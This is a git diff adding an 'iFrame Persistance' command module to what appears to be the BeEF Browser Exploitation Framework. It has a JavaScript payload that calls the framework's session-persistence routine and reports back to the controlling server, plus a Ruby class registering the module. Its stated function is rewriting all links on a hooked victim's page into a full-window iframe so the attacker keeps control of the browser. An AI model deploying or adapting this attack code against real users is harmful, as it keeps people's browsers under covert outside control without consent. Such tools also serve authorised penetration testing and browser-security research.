diff --git a/modules/commands/persistence/iframe_above/iframe_above.js b/modules/commands/persistence/iframe_above/iframe_above.js new file mode 100644 index 000000000..a2e32c1a5 --- /dev/null +++ b/modules/commands/persistence/iframe_above/iframe_above.js @@ -0,0 +1,4 @@ +beef.execute(function() { + beef.session.persistant(); + beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result=Links have been rewritten to spawn an iFrame.'); +}); diff --git a/modules/commands/persistence/iframe_above/iframe_above.rb b/modules/commands/persistence/iframe_above/iframe_above.rb new file mode 100644 index 000000000..8915fdb88 --- /dev/null +++ b/modules/commands/persistence/iframe_above/iframe_above.rb @@ -0,0 +1,40 @@ +module BeEF +module Modules +module Commands + + +class Iframe_above < BeEF::Command + + # + # Defines and set up the commmand module. + # + def initialize + super({ + 'Name' => 'iFrame Persistance', + 'Description' => 'Rewrites all links on the webpage to spawn a 100% by 100% iFrame with a source relative to the selected link.', + 'Category' => 'Persistence', + 'Author' => 'passbe', + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_USER_NOTIFY, + 'browser_name' => ALL + }) + + use_template! + + end + + # This method is being called when a hooked browser sends some + # data back to the framework. + # + def callback + save({'result' => @datastore['result']}) + end + +end + +end +end +end